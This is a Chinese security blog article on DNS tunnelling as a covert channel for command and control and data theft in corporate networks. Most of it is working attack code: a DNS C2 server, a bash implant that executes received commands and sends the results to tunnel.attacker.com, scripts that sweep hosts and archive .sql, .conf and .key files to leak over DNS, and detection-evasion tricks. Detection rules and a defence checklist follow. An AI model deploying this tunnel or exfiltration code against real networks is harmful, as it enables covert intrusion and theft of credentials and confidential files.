内网“幽灵”攻击:如何通过DNS隧道实现无端口、全协议的内网漫游

admin 2025-12-22 04:35:03 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细介绍了攻击者如何利用DNS协议在企业内网中建立隐蔽通道,实现无端口、全协议的内网漫游。文章首先解释了DNS隧道的原理和优势,然后提供了实战搭建DNS隧道的完整代码示例,包括DNS服务器、客户端植入和攻击端控制台。文章还展示了如何通过DNS隧道进行内网资产探测、敏感文件窃取和端口扫描,并介绍了六种绕过深度检测的技术手法。最后,文章提出了三层防御体系(网络层检测、端点检测和AI行为分析)以及企业防护检查清单,强调了持续安全运营的重要性。 综合评分: 85 文章分类: 内网渗透,渗透测试,红队,安全建设,网络安全


cover_image

内网“幽灵”攻击:如何通过DNS隧道实现无端口、全协议的内网漫游

原创

使者-夜影

使者安全

2025年12月14日 08:33 河南

注意:本文讨论的技术仅用于企业安全测试、红蓝对抗和防御体系建设,任何非法使用将承担法律责任。

0x00 前言:当一切端口都被封锁之后

各位安全从业者,大家好。

在一次高级持续性威胁(APT)模拟演练中,我们遇到了一个极具挑战性的场景:目标企业部署了严格的出站过滤——除了53(DNS)、80(HTTP)、443(HTTPS)端口外,所有出网流量均被阻断。传统的反向Shell、端口转发、ICMP隧道全部失效。

但攻击不会因此停止。今天,我们就来揭秘攻击者如何利用最不起眼的DNS协议,在企业内网中“隐身”漫游,悄无声息地窃取核心数据。

0x01 DNS隧道:被忽视的“合规”通道

DNS协议的特殊性使其成为理想的隐蔽通道:

  1. 几乎从不被阻断:DNS是互联网的基础服务,企业必须放行
  2. 协议级别绕过:基于UDP 53端口,不依赖TCP连接状态
  3. 隐蔽性极强:可伪装成正常的域名解析请求
  4. 穿透能力强:可绕过大部分代理和防火墙策略

0x02 实战搭建:三分钟构建全功能DNS隧道

环境准备

  • 攻击机(VPS):拥有公网IP,配置域名attacker.com的NS记录
  • 目标内网主机:可访问外网DNS(任何出站限制环境)
  • 域名:tunnel.attacker.com(子域用于通信)

第一步:配置权威DNS服务器

# dnsserver.py - 简易DNS命令控制服务器from dnslib import DNSRecord, RR, QTYPE, Afrom dnslib.server import DNSServerimport base64import threading
class DNSHandler:    def __init__(self):        self.sessions = {}        self.command_queue = {}
    def handle(self, request, client_ip):        qname = str(request.q.qname).rstrip('.')
        # 解析指令:data.[base64_cmd].tunnel.attacker.com        if qname.startswith('data.') and qname.endswith('.tunnel.attacker.com'):            # 客户端查询命令            encoded_cmd = qname.split('.')[1]            try:                cmd = base64.b64decode(encoded_cmd + '==').decode()
                if cmd == "heartbeat":                    # 心跳检测                    reply = request.reply()                    reply.add_answer(RR(qname, QTYPE.TXT, rdata="alive"))                    return reply                elif cmd.startswith("result:"):                    # 接收命令执行结果                    session_id = cmd.split(':')[1]                    data = cmd.split(':')[2]                    self.sessions[session_id] = data
                    reply = request.reply()                    reply.add_answer(RR(qname, QTYPE.TXT, rdata="received"))                    return reply            except:                pass
        # 发送命令给客户端        elif qname == "cmd.tunnel.attacker.com":            reply = request.reply()            if self.command_queue:                cmd = self.command_queue.pop(0)                reply.add_answer(RR(qname, QTYPE.TXT, rdata=cmd))            else:                reply.add_answer(RR(qname, QTYPE.TXT, rdata="waiting"))            return reply
        return request.reply()
# 启动DNS服务器handler = DNSHandler()server = DNSServer(handler, port=53, address="0.0.0.0")server.start_thread()print("[+] DNS C2服务器已启动,等待客户端连接...")

第二步:客户端植入(无第三方工具)

#!/bin/bash# dns_client.sh - 纯bash实现的DNS隧道客户端
DOMAIN="tunnel.attacker.com"SESSION_ID=$(cat /proc/sys/kernel/random/uuid | cut -d'-' -f1)
# 心跳维持heartbeat() {    while true; do        dig +short @8.8.8.8 "data.$(echo -n heartbeat | base64 | tr -d '=').${DOMAIN}" TXT        sleep 30    done}
# 命令接收与执行get_command() {    while true; do        CMD=$(dig +short @8.8.8.8 "cmd.${DOMAIN}" TXT | tr -d '"')
        if [ "$CMD" != "waiting" ] && [ -n "$CMD" ]; then            echo "[+] 收到命令: $CMD"            RESULT=$(eval $CMD 2>&1 | base64 -w 0)
            # 分片传输(DNS限制域名长度)            for i in $(seq 0 50 ${#RESULT}); do                CHUNK="${RESULT:i:50}"                dig +short @8.8.8.8 "data.$(echo -n "result:${SESSION_ID}:${CHUNK}" | base64 | tr -d '=').${DOMAIN}" TXT > /dev/null            done        fi
        sleep 5    done}
# 启动服务heartbeat &get_command &

第三步:攻击端控制台

# controller.py - 攻击控制端import dns.resolverimport base64import time
class DNSController:    def __init__(self, domain):        self.domain = domain        self.resolver = dns.resolver.Resolver()        self.resolver.nameservers = ['8.8.8.8']  # 通过公共DNS转发
    def send_command(self, cmd):        # 编码命令        encoded = base64.b64encode(cmd.encode()).decode().rstrip('=')
        # 发送到命令队列(实际中需要通过数据库/队列)        print(f"[+] 发送命令: {cmd}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 监控结果返回&nbsp; &nbsp; &nbsp; &nbsp; start = time.time()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;time.time() - start <&nbsp;30:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 检查结果&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; result =&nbsp;self.check_result()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;result:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;result&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;pass&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; time.sleep(2)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;"命令执行超时"
&nbsp; &nbsp;&nbsp;def&nbsp;interactive_shell(self):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[+] DNS隧道交互式Shell已建立")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[+] 输入命令,'exit'退出")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;True:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmd =&nbsp;input("DNS-Shell> ")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;cmd.lower() ==&nbsp;'exit':&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; result =&nbsp;self.send_command(cmd)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[结果]\n{result}")
# 使用示例ctrl = DNSController("tunnel.attacker.com")ctrl.interactive_shell()

0x03 攻击演示:内网资产探测与数据窃取

场景一:内网存活主机探测

# 通过DNS隧道执行for&nbsp;i&nbsp;in&nbsp;{1..254};&nbsp;do&nbsp; &nbsp; ip="10.10.1.$i"&nbsp; &nbsp;&nbsp;timeout&nbsp;1 ping -c 1&nbsp;$ip&nbsp;> /dev/null &&&nbsp;echo&nbsp;"$ip&nbsp;is alive"done
# 结果通过DNS分片传输# 攻击端接收到的数据:# 10.10.1.50 is alive# 10.10.1.100 is alive# 10.10.1.150 is alive

场景二:敏感文件窃取

# 查找并压缩敏感文件find /home /var/www -type&nbsp;f \( -name&nbsp;"*.sql"&nbsp;-o -name&nbsp;"*.conf"&nbsp;-o -name&nbsp;"*.key"&nbsp;\) -exec&nbsp;tar -czf /tmp/data.tar.gz {} +
# Base64编码后通过DNS传输base64&nbsp;/tmp/data.tar.gz |&nbsp;while&nbsp;read&nbsp;chunk;&nbsp;do&nbsp; &nbsp; dig @8.8.8.8&nbsp;"data.$(echo -n $chunk | cut -c1-50).tunnel.attacker.com"&nbsp;TXTdone

场景三:端口扫描与服务识别

# 通过bash socket进行TCP端口扫描for&nbsp;port&nbsp;in&nbsp;{1..1024};&nbsp;do&nbsp; &nbsp; (echo&nbsp;>/dev/tcp/10.10.1.100/$port) &>/dev/null &&&nbsp;echo&nbsp;"Port&nbsp;$port&nbsp;open"done

0x04 技术进阶:绕过深度检测的六种手法

1. 流量伪装技术

# 使用合法域名作为掩护def&nbsp;generate_cover_domain(payload):&nbsp; &nbsp;&nbsp;# 将数据隐藏在正常的子域名中&nbsp; &nbsp; legit_domains = [&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"www.google.com",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"mail.qq.com",&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"api.github.com"&nbsp; &nbsp; ]
&nbsp; &nbsp;&nbsp;import&nbsp;hashlib&nbsp; &nbsp; index =&nbsp;int(hashlib.md5(payload).hexdigest(),&nbsp;16) %&nbsp;len(legit_domains)&nbsp; &nbsp; cover = legit_domains[index]
&nbsp; &nbsp;&nbsp;# 构造:data.[payload].suspicious.[cover_domain]?&nbsp; &nbsp;&nbsp;return&nbsp;f"data.{payload}.suspicious.{cover}"
  1. 请求时序随机化
# 随机化查询间隔,模拟人类行为import&nbsp;randomimport&nbsp;time
def&nbsp;send_with_timing(data_chunks):&nbsp; &nbsp;&nbsp;for&nbsp;chunk in data_chunks:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 随机延迟:1-10秒&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;delay&nbsp;= random.uniform(1,&nbsp;10)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;time.sleep(delay)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 偶尔插入合法查询&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;random.random() <&nbsp;0.3:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;make_legit_dns_query()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;send_dns_chunk(chunk)

3. DNS协议特性利用

  • TXT记录:可携带较大数据(最长255字节)
  • NULL记录:可用于传输二进制数据
  • CNAME链:通过多个CNAME跳转规避检测
  • EDNS0扩展:支持更大的UDP数据包

0x05 防御与检测:构建三层防御体系

第一层:网络层检测(Suricata规则示例)

# suricata-dns-rules.yamlalert dns any any -> any any (&nbsp; &nbsp; msg:"DNS 可疑子域名长度";&nbsp; &nbsp; dns.query;&nbsp;&nbsp; &nbsp;&nbsp;content:"."; depth:1;&nbsp;&nbsp; &nbsp; pcre:"/^[a-zA-Z0-9]{50,}\./";&nbsp;&nbsp; &nbsp; threshold: type threshold, track by_src, count&nbsp;5, seconds&nbsp;10;&nbsp; &nbsp; sid:2024001;)
alert dns any any -> any&nbsp;53&nbsp;(&nbsp; &nbsp; msg:"DNS 隧道高频查询";&nbsp; &nbsp;&nbsp;flow:to_server;&nbsp;&nbsp; &nbsp; dns.query;&nbsp;&nbsp; &nbsp; threshold: type both, track by_src, count&nbsp;100, seconds&nbsp;60;&nbsp; &nbsp; sid:2024002;)
alert dns any any -> any&nbsp;53&nbsp;(&nbsp; &nbsp; msg:"DNS Base64编码特征";&nbsp; &nbsp; dns.query;&nbsp;&nbsp; &nbsp; pcre:"/([A-Za-z0-9+\/]{4}){10,}/"; &nbsp;# 连续Base64样式&nbsp; &nbsp; sid:2024003;)

第二层:端点检测(HIDS规则)

#!/bin/bash# dns_tunnel_detector.sh# 检测异常的dig/nslookup进程
while&nbsp;true;&nbsp;do&nbsp; &nbsp;&nbsp;# 检测高频DNS查询进程&nbsp; &nbsp;&nbsp;for&nbsp;pid&nbsp;in&nbsp;$(pgrep -f&nbsp;"(dig|nslookup|host)");&nbsp;do&nbsp; &nbsp; &nbsp; &nbsp; freq=$(lsof -p&nbsp;$pid&nbsp;2>/dev/null | grep&nbsp;":domain"&nbsp;|&nbsp;wc&nbsp;-l)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;[&nbsp;$freq&nbsp;-gt 10 ];&nbsp;then&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; proc_cmd=$(ps -p&nbsp;$pid&nbsp;-o cmd=)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; proc_user=$(ps -p&nbsp;$pid&nbsp;-o user=)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"[警报] 可疑DNS查询进程"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"时间:&nbsp;$(date)"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"PID:&nbsp;$pid"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"用户:&nbsp;$proc_user"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"命令:&nbsp;$proc_cmd"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"查询频率:&nbsp;${freq}/分钟"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"---"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 自动响应&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; auditctl -a&nbsp;exit,always -F&nbsp;arch=b64 -S socket -F a0=2 -F a1=2 -F key=dns_abuse&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;fi&nbsp; &nbsp;&nbsp;done
&nbsp; &nbsp;&nbsp;sleep&nbsp;60done

第三层:AI行为分析

# dns_behavior_analysis.pyfrom&nbsp;sklearn.ensemble&nbsp;import&nbsp;IsolationForestimport&nbsp;pandas&nbsp;as&nbsp;pdimport&nbsp;numpy&nbsp;as&nbsp;np
class&nbsp;DNSAnomalyDetector:&nbsp; &nbsp;&nbsp;def&nbsp;__init__(self):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.model = IsolationForest(contamination=0.01, random_state=42)
&nbsp; &nbsp;&nbsp;def&nbsp;extract_features(self, dns_logs):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""从DNS日志中提取特征"""&nbsp; &nbsp; &nbsp; &nbsp; features = []&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;log&nbsp;in&nbsp;dns_logs:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; f = {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'query_length':&nbsp;len(log['query']),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'entropy':&nbsp;self.calc_entropy(log['query']),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'subdomain_count': log['query'].count('.'),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'request_rate': log['requests_per_minute'],&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'unique_domains': log['unique_domains_count'],&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'failed_ratio': log['nxdomain'] / (log['success'] +&nbsp;1),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'txt_query_ratio': log['txt_queries'] / (log['total_queries'] +&nbsp;1)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; features.append(f)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;pd.DataFrame(features)
&nbsp; &nbsp;&nbsp;def&nbsp;detect(self, real_time_features):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""实时检测"""&nbsp; &nbsp; &nbsp; &nbsp; predictions =&nbsp;self.model.predict(real_time_features)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;predictions == -1&nbsp;&nbsp;# -1表示异常

0x06 企业防护checklist

立即检查您的企业是否存在以下风险:

必须立即实施的措施:

  • [ ] 部署DNS出口过滤,仅允许访问企业授权的DNS服务器
  • [ ] 启用DNS查询日志,保留至少90天
  • [ ] 监控异常查询模式(高频、长域名、非常用记录类型)
  • [ ] 限制单个IP的DNS查询频率(如1000次/分钟)

高级防护建议:

  • [ ] 部署DNS防火墙(如Cisco Umbrella、Infoblox)
  • [ ] 实施DNS-over-HTTPS/TLS监控
  • [ ] 建立基线,检测偏离正常模式的查询行为
  • [ ] 定期进行DNS隧道渗透测试

应急响应流程:

  1. 检测到异常:立即隔离受影响主机
  2. 取证分析
# 收集证据tcpdump&nbsp;-i any port&nbsp;53&nbsp;-w dns_capture.pcaplsof&nbsp;-i :53ps&nbsp;aux | grep -E&nbsp;"(dig|nslookup|python.*dns)"
  1. 溯源分析:查找初始入侵点
  2. 加固措施:更新检测规则,修补漏洞

0x07 结语:在攻防不对称中寻找平衡

DNS隧道技术再次提醒我们:最危险的威胁往往隐藏在看似最安全的协议中。在今天的网络环境中,没有任何一个端口是”安全”的,没有任何一个协议是”无辜”的。

对企业安全团队而言,真正的挑战不在于部署多少安全设备,而在于建立持续的安全运营能力。检测优于防御,响应优于检测。只有建立完整的”防护-检测-响应”闭环,才能在不对称的攻防对抗中占据主动。

记住:攻击者只需要成功一次,而防御者必须每次都成功。这种不对称性既是挑战,也是我们不断前进的动力。


技术细节补充

  • DNS隧道带宽:约1-5KB/s,适合传输命令、密钥、配置文件
  • 延迟:通常200-500ms,取决于网络环境
  • 检测难点:高隐蔽性、低带宽、可伪装为正常业务流量

法律与道德提醒

本文所有技术细节仅用于授权安全测试。未经授权的DNS隧道使用可能违反:

  1. 《网络安全法》第二十七条
  2. 《计算机信息网络国际联网安全保护管理办法》
  3. 企业内部信息安全规定

查看原文:《内网“幽灵”攻击:如何通过DNS隧道实现无端口、全协议的内网漫游》

评论:0   参与:  2